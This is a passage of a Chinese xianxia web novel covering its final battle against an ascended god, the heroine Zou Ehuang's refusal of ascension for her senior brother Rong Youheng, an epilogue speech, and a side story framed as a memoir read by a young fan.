那面目平静的女修从容说:“之前我师兄曾经跟我说过,所谓真仙一类的东西,都是闲疯了,才会创出异目,觊觎下凡。” “那个时候,我没信。” 邹娥皇的剑没有血,拖在地上,她一步步地向磅礴壮观,由那些粘稠的,吞噬一切的异目汇聚而成的祂走去,在祂的衬托下,她显得是那么渺小。 可是就是这么渺小的姑娘,抬起头来时,祂竟然感到一种许久未曾感受过的惧怕。 在她的注视下,祂竟觉得有种几乎要灰飞烟灭的灼烧。 剑尖一挑,万丈成灰。 那些汇集在众人脚底,束缚着众人的异目,就这样被剑荡出的余光捻灭。 “你知道我为什么不信么?” 邹娥皇说:“我不信,能忍过几千年修真岁月,能忍过渡劫神境,能与天对打的飞升者,居然会被时间打败,因为寂寞而向下求索。” “还有一点”女子的声音被放的很低很低。祂瞪大几百只眼睛,努力辨识清楚邹娥皇即将要吐出的字,却忽的只看见了剑尖。 黑漆漆的剑,从中向它劈去,下手的人快准狠,就像是很多年前的祂自己一样。 “还有一点,”邹娥皇畅通无阻地持剑穿透了那片透明粘稠的磅礴之物,转身别头的时候,被她穿过的洞又开始了慢慢的挪动缝合呵,果然和她在密州经历过的异目相比,本体的祂更加的难打。 “我不信,我穿书来这个世界,天道为我设下种种坎坷,那所谓命运的主角方半子,要拿我蓬莱补天,竟只是为了对付一个一己之私欲的神——” “什么狗屁的一人之念,可覆天下。” “我不信。” 她说话的声音很轻。 但是在场的众人几乎都能听清。 持着神华剑与祂在内围决斗的宴霜寒剑光愈密,用红绫与无数紫针绊住祂西侧的尹月也抓住了这几息,攻势加快。 忽然,粘稠的异目再度开始流动,就好像是为了印证邹娥皇的话一般,不过是祂的一个举动,剑皇的剑脱手、骄傲的红绫折断此起彼伏的哀嚎与尖叫响彻在邹娥皇耳畔。 祂在微笑。 如果这东西有唇的话。 “你不信,是因为你从来没有站到过这个位置。” 祂用一种很魅惑的语气道:“你想想看…” 阴风在她耳边侧侧。 “当你到了我这个位置,救世和灭世都在一念之间,天下苍生不过是蝼蚁,你想怎么做就怎么做,这个时候,你就会明白,没有什么比你自己的感受更重要的。” “你觉得不对,只是因为你还把别的人,当做同类。可实际上,人与妖何异,妖与人又何异。” “只有你觉得重要的,才该是重要的。” 祂叹道:“这就是为何人人都想成仙做神。” 邹娥皇面色不变,只是须臾出剑,砍掉了在过程中祂一直妄图触碰她的异目。 她背后,忽地有人低笑了一声。 “错了。” 容有衡一只手撑地侧滚,躲过了异目的攻击,清俊的面容已不复存在,右眼已是一层薄薄的白瞖,如罗刹恶鬼。 “不好意思,插一句。” 容有衡礼貌道:“这位,神…真神?假神?算了不重要了,你难道以为,此方天地——” “只有你飞升过么。” …虚空里,膨大无数倍的祂无聚无光的几百双眼珠猛地一缩,锁定了地上那个吊儿郎当的青年。 “你、说、什么?” “本君说,”容有衡提气而起,眉眼洒落,位于邹娥皇身后,双掌一并,复杂繁琐的道文凝聚在双掌之间。 他将浑身上下的灵气推给邹娥皇,咳出了一口长血后才懒散地抬眼。 “此方天地,不止只有你一个人飞升过。” “登天门的时候,飞升者有两个选择,一个是破界飞升,成为如你这般的神。一个是若有未圆之心愿,那么便舍三魂六魄于天道,断往事绝来生,换一个从头开始的可能。” 祂沉默不语。 这样反常的态度,无疑是在给众人证实容有衡说的都是对的。 “你又想成神,又想他们活下去,又想什么代价都不出,这个世界哪来这么好的事情?” 只听这男子低笑,嘴角伤口撕裂。 虚空里,祂听了很久后,终于发出一声困惑的轻叹:“可你重活一世,又改变了什么,一步步节奏被打错,不还是要逼到这种地步。” 容有衡亦奇怪回道:“谁跟你说的,重生者就一定要为救世而来吗。” 容有衡:“这一辈子——” 他捂住邹娥皇的耳朵,狂风吹起他的墨发,笑得无不春风得意:“我师妹于人前救世,而不是于人后无名,与本君而言,就值了。” 哐当。 邹娥皇握剑一向稳当的手,忽地一颤。 … “是时候了。” 蓬莱道祖望着天际连绵不断的雷雨阴云,忽地一笑。 “裁决者与周平下完了那盘棋,周平恨也好,贪也罢,他这人总该有一点愿赌服输是对的,他既然被压住了,你我也可离开这两座压着的岛与舟了。” 五千年前,人们知道周平上了蓬莱岛,却忘了周平也去了昆仑苦舟。 阴山剑尊守门之后,算上邹娥皇一共放了五人闯进昆仑舟。 而阴山剑尊守门之前,看守昆仑舟大门的是无眼剑侠,三百六十剑,剑剑无影踪。 而无眼剑侠只让一个人闯进过昆仑舟。 ——周平。 他与道祖论道时下了一盘棋,人都道他论道输了,却不知他棋赢了,更殊不知他与剑痴出名的昆仑老祖也下过一盘棋,也赢了。 而这两盘棋的要求,就是制约着这两人,一个不得出天上仙岛,一个不得出地下苦舟。 在当时的年代,周平治住了两个最厉害的人,天下由谁做主,可想而知,这才有了后来的抽空帝王须,泼墨天道,改皇运。 此刻,昆仑道祖传音与夜自咎道:“你磨了几千年的剑,做好准备了么?” 雷声滚滚,死海绵延的另一段,夜自咎说:“嗯。” 剑修老祖抬手。 死海震荡,龙宫龟裂,万丈海浪平地起,波涛汹涌间,夜自咎别了昆仑苦舟仅有的一颗桃树上,唯一的一根桃枝。 桃枝含苞欲放,还带了点凝聚的露水。 他没有用他的本命剑。 都说剑在人在,但是昆仑的这些剑痴,临到赴死之刻,是素来舍不得用本命剑的。 “走罢。” 夜自咎对云无心道。 “且慢,”云无心摆手,“老道还有一句话没留。” 鹤发童颜的仙人笑眯眯地回头再望了一眼蓬莱岛,然后做了一个手势,被万众云托起在天上的蓬莱岛轰隆隆地落下。 如今即已决定要走了。 拘着这些娃娃这么* 多年,也该让他们入世了。 而后蓬莱道祖又打了个响指,身上的黑色道袍内衬里金光一闪,云无心整整齐齐地取代了二十年前的容有衡。 “诸位道友,临别无所赠,只有一言,尔等听好。” “凡入蓬莱者,不可被虚妄所迷,倘若不知路在何方,那么就去问——” “心在何方。” 慈祥的老者声音响彻天地之间。 …另一边,邹娥皇像是感觉到了什么一样,扛着剑的身子一个踉跄。 “师父——” “师父!” 异目、天雷、天雨、天火、天风、万般异相,电闪雷鸣,众生奔喊之间,那一声撕心裂肺的师父,显得是如此的微不足道。 而邹娥皇手上的剑,从她握住起就鲜少出光的剑,在这一刹那,顿生光华。 幻海天外界套住的那层透明的薄膜,忽然咔嚓一声,出现了一道密密麻麻的裂痕。 接着是一段桃枝,从裂痕里伸了出来。 跟着桃枝一起涌入幻海天的,是外面磅礴的灵气,以及天道的轨迹。 众人仰头去望,宴霜寒面不改色,与裂缝中透出的那半个人脸,遥遥对望。 “昆仑老祖,夜自咎。” “蓬莱道祖,云无心。” “还请真神赐教——”魔/蝎/小/说/m/o/x/i/e/x/s/.c/o/m 正文完结 第88章 纵行千万山,不改剑中意 蓬莱道祖并不擅长干架。 准确的来说, 众人从没见过这个白发苍苍的老头和谁动过真格。 “蓬莱道祖”,尹月怔怔地望着天边的那个男人。 邹娥皇以为尹月喜欢蓬莱道祖,尹月自己反而说不上来。 尹月有点怕他, 有点爱他,有点恨他。 还有点敬他。 喜欢在她对他的感情里,太过微不足道。 …很久之前,邹娥皇曾听蓬莱道祖讲过, 他说,云固有一雨,就像人固有一死。 她压着牙, 抑住牙关的哭腔与软弱, 持着剑冲了上去。 天顶上,蓬莱道祖摆了个打坐的姿势,掏出一壶酒抿了口, 对着一旁夜自咎笑了下, “你先来?” 夜自咎点了点头。 他摸着那根桃木枝,蜻蜓点水一般向前一指, 无边气浪一下子涌入, 寒冰一瞬冻结了祂的半个身躯。 而后又寸寸裂开。 祂叹道:“我也曾见过你这样的剑客,可惜,可惜。” 夜自咎:“可惜什么?” 祂陈述道:“如果我是第一次见到你的剑,那我一定会被伤到,可以我见过不少这样的剑意, 早已免疫。” “杀剑,是最容易砍卷生钝的剑。” 夜自咎长啸:“你的话, 我听厌了。” 多少人推崇夜自咎,就有多少人骂他的剑道平庸, 就像骂宴霜寒一样。 剑祖不再说话,只纵身向前,用出来那万剑归宗。 一枝再普通不过的桃木枝,突然有了万千虚影。 只听得嘭地一声,血肉被挤压的声音。 祂嘶地吸气,中间被唰地洞穿了。 且这次的伤口,和先前的不一样,并没有愈合的架势。 “找死——” 确实是找死,夜自咎的右手已经被腐蚀地只剩下森森白骨,桃木枝更是连渣都不剩了。 没有剑的剑祖,大概只能是求死的。 可他不带剑来,本也是活够了的。 夜自咎心说:我终于挥出了我要的那一剑。 砰的一声,平地一声巨响,祂因为被一直以来蔑视的下界之人伤到,发了怒,原本还小打小闹的异目,开始变得狰狞,在祂无数双眼睛的指引下,专挑人的痛处下手。 但凡肌肤被沾到一点,就见白骨。 邹娥皇冷静的翻滚跳跃在泥泞难走的路里,避开四处飞溅的异目,朝着天上道祖的方向奔驰而去。 道祖啧了一声,对着祂笑眯眯道:“我这老朋友,死得太快了,可见是近几年的修炼他懈怠了。” 祂客观道:“不快,他刚刚那一剑已经伤到了我的根基,在下界,很厉害了,如果他有一把好剑,估计还要再厉害几分。” 蓬莱道祖慢悠悠道:“本道知道,本道是说,没有用一把桃树枝插死你,对于剑祖来说,就已经是懈怠啦。” 刹那间,天地变换,道祖白茫茫的胡须卷起,无数阵法繁杂的纹路自他脚下延伸,他一步步向前,祂发觉自己动弹不得了。 “你的阵法,很厉害。” 道祖道:“不敢不敢,班门弄斧。” 云无心五指一拢,天罗地网的阵法将祂的庞大身躯紧紧束缚在一起,然后呲地一声,祂被那些阵法勒紧,粘稠流动的异目,在刹那间碎成了块块。 邹娥皇屏住呼吸一跳,持剑就要劈上去,却被人摁住了。 “你这瓜娃子爬上来干什么——” 道祖背手一推。 邹娥皇脚下一空,被道祖一点额头给送了下去。 道祖一共点过她三次额头。 一次是在收她的时候,点额头,赐仙缘。 一次是在她拿不起剑,点额头,叹不争。 最后一次,他点住她的额头,解开了她与他的师徒关系,赠她蓬莱岛的剑意。 我心应我。 万死不辞。 邹娥皇被甩在地上,迷茫地仰头看天,下一刻她便明白了师父为何会将她抽下来。 幽窒、黏密、铺天盖地的异目卷起,汇聚出了一个新的祂,而新的祂包住了蓬莱道祖。 如果要死 我就要死得酣畅淋漓。 蓬莱道祖饮尽了壶中最后一口酒,身躯、衣服、法宝都变换成了白茫茫的雾气,他微笑着,微笑着张开双臂,坦然地迎接着躲不过的必杀一击。 云最后还是变回了云。 而一朵云的宿命,就是雨,滋养着土地上的幼苗,来年发出新的芽。 下雨了。 众人迷茫地睁着眼。 这雨与刺鼻的天雨不一样,与腐蚀的异目也不同,这雨像一片云一样晕乎乎地,落在肌肤处时,尹月发现自己深见骨肉的伤痕在极速的恢复,容有衡闭目,雨水滋养着他的眼。 腐蚀一切的异目好像也失了原来的力量。 “师父——” 却见那跪在地上的姑娘,朝着蓬莱道祖逝去的方向,赫然长拜,风吹起她的衣摆,露出内襟上密密麻麻的针线,一针一线,袖的都是一笔一划。 邹娥皇知道,这次回去后,又多了十二画。 她师父的名字很好写,不需要绣很久。 那个老头之前就嫌弃过他们几个弟子笔画多,因而再三喝令要求他们不允许死在他之前。 邹娥皇知道,她没师父了。 她捏着剑柄,骨头咯吱咯吱的响,众人只见,浑身骨头碎了多半的邹娥皇,就这样借着一柄剑撑起了半个身子。 然后站起来。 黑白分明的眼珠盯着她面前的庞然大物,斩钉截铁道:“杂种。” 祂:“你说什么——” “我说,”邹娥皇口齿清晰:“杂种。” 以世外之力,为一己之私,染指天下的杂种。 鼓动翻涌的异目象征着祂的情绪不断起伏。 祂要压碎她,祂要压垮她。 祂要把这个胆敢反抗祂的蝼蚁,捻到沙砾都不如。 惊涛骇浪而起的黏液,腐蚀一切改变一切的异目,铺天盖地地朝邹娥皇而来。 剧烈的威压之下,所有人的行动都僵住了,一直黏黏糊糊的异目,几乎让他们忘了异目本体的祂,是个飞升者。 万般举动,都变得粘稠滞迟。 所有的动作,都被压的极慢,极慢。 只有一柄剑,出得极快。 这大概曾是一柄慢剑的,因为它重又宽,天生条件就差了别的剑好几倍,就像它主人一样,比起有天赋的剑者,总是要慢几步的。 但是在这一刻,或许是因为时间的概念被抹去了,所有人的举动都变得滞怠了,那柄剑脱颖而出,它的速度或许并没有改变,可是看起来就是极快的。 邹娥皇会使很多剑招。 有些是走南闯北见过的,有些是她在道祖的藏书阁里学过的,有些是她自己创的。 不过现在没有人能说明白,她用的倒底是哪一招。 姑娘的手很稳,握在剑柄上,天雷天风的声音都隐去,天雨天火的异象都消失,这一刻祂合眼,却仿佛能听见一声无声的剑鸣。 祂开始感到害怕。 祂终于开始感到害怕。 这一剑不一样,不一样 祂想起了邹娥皇是个最仁善的好人,说不定几经闪烁下,几百双眼睛对准邹娥皇,有笑得憨厚老实的大壮,有内敛稳柔的小翠,有为邹娥皇递过一杯水,搭过半句话的村民,几百双眼睛,不约而同地流泪,哀求邹娥皇不要下剑。 “” 女子举剑,再无迟疑,从千丈高空跃起,重重一劈。 当不知何处而来的钟声响彻在金粉一般噗噗碎开的幻海天结界里时,邹娥皇果断地抽出剑,强大的后坐力让她半屈膝,粘湿的发贴着她的头皮。 她不爱说话的唇,被牙咬的触目惊心。 大抵是痛的,可她低着头,谁也看不清她脸上的表情。 正在这时,刺眼的金光从天际垂落,直直地罩住她周围几寸。 【恭喜穿书者邹娥皇完成本世界任务,即将为您启动登天门服务。】 谁? 说的什么? 邹娥皇耳眶嗡隆隆的,只抓住了几个关键词,以及似曾相识的语调 “天道?” 【是吾恭喜你,成功救世,力挽狂澜,吾将赐予你直接飞升的特权,永生不死的能力,旁人艳羡不及的法宝,人上之人,仙外飞仙】 天道滔滔不绝地说了一大半,才发现邹娥皇始终未吭声。 【你在迟疑什么?】 邹娥皇头越来越痛,她想到了这五千年须臾点滴,甚至走马灯般的现代回忆也在脑海里一跃而过,然后最后才模模糊糊地想:她把方半子的活干了,方半子将来干什么。 “没迟疑,”邹娥皇慢吞吞地说。 她的面前是金砖挥就而成的大道,是九十九朵紫气祥云,是仙音渺渺,是花团锦簇。 “师兄。” 邹娥皇在即将踏入登仙门的前一刻,忽然停住了,她侧过眸子,身形磊落。 “如果我飞升了,你会怎么样?” 此刻所有人都把目光汇聚到容有衡身上,越蓬盛暗骂邹娥皇一句糊涂,这个关头还要什么男人,不如要前程。 被她问住的容有衡失神半响,只露出比哭还难看的笑。 索性那姑娘没有回头,便看不见。 “还能怎么样?”男子声音吊儿郎当,听着似满不在乎:“没谈之前我是怎么过的就怎么过得呗,担心我?没必要,没了你,我只会更加舒坦。” “嗯。” 邹娥皇说:“那我留下。” 她抽出她背后的剑,平生第一次也是最后一次看向了那片金光灿烂的寰宇之界,然后从容地转身,负手一掷。 黑剑穿透那金光灿烂的天门,轰隆隆地将这天门炸了个碎。 “你是不是脑子出问题了?” 容有衡咬牙,“我说了我不在乎,你师兄是容有衡,蓬莱道祖座下第一弟子,名震四海八荒的道君,不在乎你留不留下懂么!” 邹娥皇说嗯,“我懂。” 几十阶金砖,她怎么上去的,就怎么从容的走下。 邹姑娘抹去容有衡不知何时涌在眼角的泪,微笑道:“师兄,可我在乎。” “我说过我喜欢你,是真的,我在乎你的喜怒哀乐,不争你的自甘轻贱,我说我喜欢你,真的。” “我在乎你,在乎你在我走后会不会和别人永结同心,在乎你老去的时候会不会有人照顾,在乎你为了我放弃了来生会不会有一天后悔我在乎你的。” “虽然你不信,”邹娥皇说:“但我对剑说的话,不会有假。” “虽然你不信。” 她强调。 这句话她大抵已经同容有衡重复过诸多次了,只有这次的语调委实难过。 在邹娥皇这样的人身上,难过与委屈,都是很难出现的事情。 因为她好像生来心中就有一把钢尺,权衡是非,自我取值,决定了一件事后就很难回头,所以多余的情感消耗,在她这里几乎都是不存在的。 可她现在看着容有衡,那双灿若星辰的眸子里面,确实是闪过一丝悲意的。 我信。 我信。 我信! 容有衡扒着邹娥皇的袖子,上一辈子万箭穿心的时候他没哭,得知再无前尘后世的时候,他没哭,送师妹上花轿的时候,他没哭。 可是这辈子,从一开始,他似乎就在为她流泪。 一点一滴的泪水,好像永远没有尽头的大海。 【吾万年间从未给人开过飞升的先例,此乃万古第一遭,你要想好,你拒绝的是什么,你放弃的是什么——】 邹娥皇拥住容有衡,拍了拍对方因激动而颤抖的后脊,然后眸色清浅,并未回头。 她没有回答天道说自己想的很清楚。 也没有学着话本里的主角掷地有声一句三十年河东三十年河西。 邹娥皇只是说:“那我只问你一个问题——” “飞升这么好,为什么隆子还想要回来?” 【】 天上仙界,地下人间。 仙界什么都好,偏贪念在人间。 … 几十年后,密州最大的酒楼。 酒楼里是高朋满座,除了俊俏后生外,多的是巧笑嫣嫣的年轻姑娘,都在候着新任密州城主上台讲话。 说来当年何家在的时候,这里还不是这样轻松愉快的氛围,但奈何何家青黄不接,在老一辈的死尽了后,只剩了个空壳子,由十四盟里的昆仑与蓬莱共治,成为了天下第一个门派的直属辖区。 邹娥皇今日受到明珠的邀约,也来了现场。 是的没错,密州新任城主就是明珠。 邹娥皇刚接到邀请的时候,还有些感慨,对着替她整理衣裳的师兄道:谁能想到,险些昔日为人妇的姑娘,最后成了密州第一个女父母官。 容有衡左右理了理邹娥皇的衣襟,道:“她上一辈子也是。” 邹娥皇知道容有衡这人并不爱关注一些旁的奇闻八卦,能传到师兄耳朵里的,必定是有几分曲折的故事,于是好奇问:“怎么说?” “上一辈子,何春生修行走火入魔,也没多活几年,他倒台后,何家家主何渡很快死于暗杀,留下的何富贵难当大任,放权于明珠,后来很快也死了。” “就有人说,这一切都是这个女子的计谋。” 邹娥皇想了想和小师妹愈来愈像的明珠——当年明珠纠结再三,最后是在一次外出历练里,拜在了李千斛门下,如今师徒两人也愈来愈像了。 她静默了片刻后,道:“你说如果当初谢家还在,我师妹会不会走向和明珠一样的道路我把她带上岛,是不是有些屈才了。” 容有衡望着她笑:“师妹,有些事不是这么算的。” 他轻轻捻起她鬓边秀发,往耳后根一别,“如果这么算,会不会有人说你为了我放弃了飞升,也算屈才。” “容有衡!” 邹娥皇通常不会连名带姓喊他,除非是气了,“你忘了当初那孽神在秘境里怎么笑话你的了,你要这么算那你岂不是更亏,没有来” 后面的话被一根修长的食指抵住。 “嘘。” 容有衡说:“所以师妹,亏不亏是没办法向做算数题一样计算的。” 他师妹没说话,他师妹只是摁住他的食指,抽过他的手背,赴以烫吻 此刻,头戴紫色珠冠的明珠,款款于台上讲完对于密州未来一系列的规划后,话锋一转,视线划过淹没在众人之中的邹娥皇,温声道:“以上,就是我关于密州系列问题的方案了。而在会议的最后,我有幸邀请到了当年救我于苦海,救苍生于水深火热之中的邹真人,来以她的故事,启迪并鼓舞我们大家走好密州接下来的这一路。” 蓦然被点名的邹娥皇吐掉了酒楼免费供应的瓜子,错愕地伸手指了指自己,困惑地看着明珠,再三确定对方没有说错人。 我? 我有什么好讲的。 但是下一刻,掌声雷动,尖叫声如雷贯耳,侧面反应了这位邹姑娘还是太小看自己的名声了。 迎着一堆炯炯有神的视线,邹娥皇只得硬着头皮走上台。 当几十枚甚至几百枚留影珠对着邹娥皇咔嚓咔嚓地照着的时候,邹娥皇恍惚间梦回现代的发布会。 娘嘞。 现在是真混成“明星”了。 邹娥皇挠了挠头,吭哧半柱香后说:“我要和你们讲的故事很简单,很简单。” 她与台下的白衣容公子两相对望,定定说了第三遍:“很简单。” 台上,邹娥皇起剑。 从她摸到剑把那一刻起,喧嚣的尖叫声几乎要冲破酒楼的屋顶,震得八仙桌的果盘都跌了好几个。 现在的世道,可以有人不知道邹娥皇三个字,也可以有人不知道蓬莱,但绝对不会有人认不出姑娘背后的黑剑。 几十年前,这柄剑与普通凡间铁铺里的剑别无二致,但是在如今,那可是剑仙的标志。 号称是一剑在手,坐拥天下。 只要见到宽大的黑剑,人们就会想起邹剑仙。 ——世间至强,视飞升于无物的神人,碾碎天门只用了一剑的剑仙。 也正如此,很多人都以为邹娥皇就算长得不是国色天香,也该是杀气毕露,一个眼神就让人肝胆俱裂。 可是今日见了,众人才知道什么叫刻板印象。 嘛。 感觉还挺好说话的一剑仙,完全不像传说里一言不合就杀了妖王的杀神。 只见那个“很好说话”的邹女仙,沉吟道:“什么是修真界呢?就是当你身处其中的时候,你会经历很多很多的事,你会被迫承担起你自己都想不到的使命和担子,你会遇见很多人,也会遇见很多妖,彼此来去匆匆,多是过客。” “而当你回过头来看时,都是这不可思议的史录里的一个篇章,爱恨纠葛、痴怨哀馋,都不再重要。有的时候你有为其中的某一篇落泪的时间,有的时候,你只能匆匆赶路。” 她说出了和那位死的透透的祂很像但是又截然不同的话: “重要的是你,只有你。” 她说: 我的故事诚然是个很简单的故事。 是纵行千万山,不改剑中意。 也是我心应我,万死不辞。 简单来说,就是咬住牙关的一口心气,别泄。 活的够久,连存在本身,都是读不完的传奇。 【完】魔/蝎/小/说/m/o/x/i/e/x/s/.c/o/m 番外 第89章 方半子写书了。 战后要重建的工作有很多。 譬如说蓬莱道祖和昆仑老祖圆寂, 天下十根手指能数尽的大乘又少了两个。 再譬如说妖族动荡,作为此前曾是人族修士的李三,并没有如众人期盼的那般, 为收复妖族四州打下汗马功劳,而是就像那个第一位打下天下的久俊一样,开始注重妖族内部的文化建设。 但是这些当时堪称是轰动一时的局势传闻,一百年过去后, 无人问津。 反倒是一本以《我在蓬莱的一生》为名的书火了,作者名字也奇怪,叫龙傲天。 此书一开始无人问津, 直到众人在书本的寥寥几章里看到了邹娥皇的名字。 众人:! 买!买买!买买买! 十七岁怀揣着仙侠梦的燕玲, 自然也不可免俗地迷恋上了那个传闻里强大危险迷人的剑仙,她揣着兜里仅剩的几块灵玉,忍痛买下了这本书。 她净了净手, 然后小心翼翼地翻开了第一页。 【我是跟着我师父一起进蓬莱的。 我师父说他虽不在江湖可江湖该有他的传说, 我问师父为何这么说,师父说当年剑仙与龙主一战, 能从中全身而退的只有寥寥几人, 他就是其中之一。 我没好意思告诉他,那个时候我四五岁,已经有了记忆,记得他当时被吓得尿了裤子。 我还记得当时在蓬莱岛门口,我看见了天下最美丽的女子, 像玉一般值得被人捧在手心的女子。 当然,那个时候的我才多大, 思想还不成熟。 不过十年之后的我,深深明白了一个道理, 美丽的东西都是有代价的,带刺的玫瑰不好碰是的,幼年时,我的直觉并没有出错,那个女子就是天下第一美人,李千斛蓬莱食人花。】 都写的什么乱七八糟的,燕玲默默吐槽,哼,如果不是这里面写了偶像剑仙,她才不会花几块灵石买呢。 燕玲继续往后翻。 【蓬莱的每一天都有些枯燥无聊。 我正式开始修炼的时候是一天下午,邹师伯(我也不知道按辈分我叫她什么,算了随便毁灭吧)单独找过我一次。 我对她很有印象。 也对她道侣容师伯很有印象。 别误会,我不是什么变态哈,主要是因为小孩子的情绪感知能力是很可怕的,我能感觉到两个人对我都有种很纠结的态度,一个格外关注我,一个格外想让我死,我也不知道为啥,我啥也没干啊。 我只是个宝宝修士。 那天,邹师伯看着我跟鱼师伯学习医术后很吃惊,就拉过我问:你怎么不学剑,不学斧头? 我纳闷道:我为什么要学这些。 邹师伯说:因为按照剧情 她说了一半突然停住了,我抬起头,看见她忽然笑得很开心,拍了拍我的肩膀,意味深长地说了一句话。 她说:她终于明白,改变世界的意义在于什么了。 我还是没听懂:在于什么? 她自语:在于鲜血与战争停止于他们这一代。 很多年后,我依然没听懂这句话,但是我很难忘记那位剑仙脸上的笑,张扬肆意,非常的活气。】 燕玲点了点头。 虽然这个作者写的还是不咋地但是至少没有抹黑她偶像的形象,可以继续看。 【我在蓬莱修炼的第两千五百八十四天。 今天又看见了偷偷躲在水池里哭的鱼师伯,虽然泪水和水池里的水混在一起,便显得他好像没哭过一样,可是龙须一翘一翘的,还有和雷声一样响的抽噎声音,我知道他哭了。 人鱼的泪水是珍珠。 那么龙的泪水是什么? 我问师父,可号称是天下无所不知的师父,想了很久后给我一个风马牛不相及的回答:云的泪水是雨。 我不明白,这和云有什么关系。 以及,这一天,我路过草丛的时候看见了躲起来喝烧酒的邹师伯,路过瀑布炼心的时候看见了神情恍惚的青度大师姐 然后我才突然想起来,有一朵云散在了七年前的今天。 道祖,我把我最喜欢吃的果子用火蒸熟了,希望在天上你能感受到它的水汽和香甜。】 滴答、滴答。 水一点点地打湿了书的页面,燕玲抹了把脸,混蛋,怎么还突然来把刀子啊。 混蛋。 她抖着手继续往后翻。 【今天是两万多少天,懒得记了。 今天我蹲在地上研究阵法的时候,突然听到了几十米外有人吵架的声音,我很好奇就偷偷地用后腿一点点蹬过去看,结果令我大吃一惊。 居然是邹娥皇和容有衡! 并不是吃惊这俩人吵架,而是吃惊这俩人怎么云游的这么快就回来了。 我听了很久,才明白是容师伯在翻旧账。 男方论点是:这些天你天天看着别人,那个谁和那个谁很明显就是对你图谋不轨,我就知道你当初就不是喜欢我。 然后女方熟视无睹,只专注着手上刚刚学来的剑谱,舞得虎虎生威,舞得男方火冒三丈。 我以为这俩要分手的说,吓得我开始准备摇人了,结果又听见女方很冷静地问男方,说那他要放手吗。 我天,这铁定要分了啊。 还摇什么人。 直接就是一个吃瓜状态。】 容有衡眼睛微暗,眼睫下垂,就那么定定地看着前方的邹娥皇:“放手?我以为几十年前你就该明白。” “就算只是你的施舍,我也卑劣得照单全收。” 如邹娥皇一般直来直往,脑子里只有一根弦的人是永远不会明白,骄傲的人先爱起人来时,自尊也会和旁人一样折骨落尘。 容有衡之所以不去争取邹娥皇爱,不是因为他骄傲。 是因为他爱她,希望她能拥有世界上最好的,她最喜欢的,他爱她,因而想要她自然地选择她喜欢的。 但是如果有一天,他发现,邹娥皇的自然选择里,也有一个可能是他的时候,那他本就摇摇欲坠的理智,也会崩塌瓦解。 因为他爱她的。 超爱。 “师兄,”邹娥皇舞完剑,收手,她目光澄澈地看着容有衡一笑,想必很多年后,容有衡也依然会记得此时邹娥皇的笑。 天真、烂漫,就如初见。 上一世的初见和这一世的初见。 她拥有一样的笑。 “没有施舍,不是妥协。” 姑娘自然地挽过他的手,十指交叉相叩,“喜欢你,要我说几遍才好。” …燕玲的呼吸都静了,她目光停在书中的最后一页。 【邹师伯就这么哄好了道侣。 果然,强大的人无论在什么地方也是意外地强大呢。 邹娥皇,邹剑仙,吾辈楷模! 写到这里,我又想起了昆仑上的那位魔皇,和邹一个时代的人,结果单身了这么多年,前两天又有小道消息说他弃剑修要学无情道。 邹师伯说他会成功的。 我这次没问她为什么。 我想,时代的句号大约就是像以剑出名的强者,最后弃了剑吧。又或许是在凡间,邹娥皇的年画取代了宴霜寒的年画。 不过这两位本尊反倒都不在意这些。 明日我第一次下岛,祝我好运吧! 我也要去看看,我的时代啦!】 燕玲讲书合上,沉思了片刻。 喂,搞什么啊,明明书名起的是日常流,但是这个叫龙傲天的作者怎么写的像是言情番啊! 以及喂,有没有搞错,为什么要断在这里啊! 就在这时,敲门声传来,是燕玲的母亲。 “明日十四盟的队伍就要来了,乖女不要紧张,这一次一定能进蓬莱的。”魔/蝎/小/说/m/o/x/i/e/x/s/.c/o/m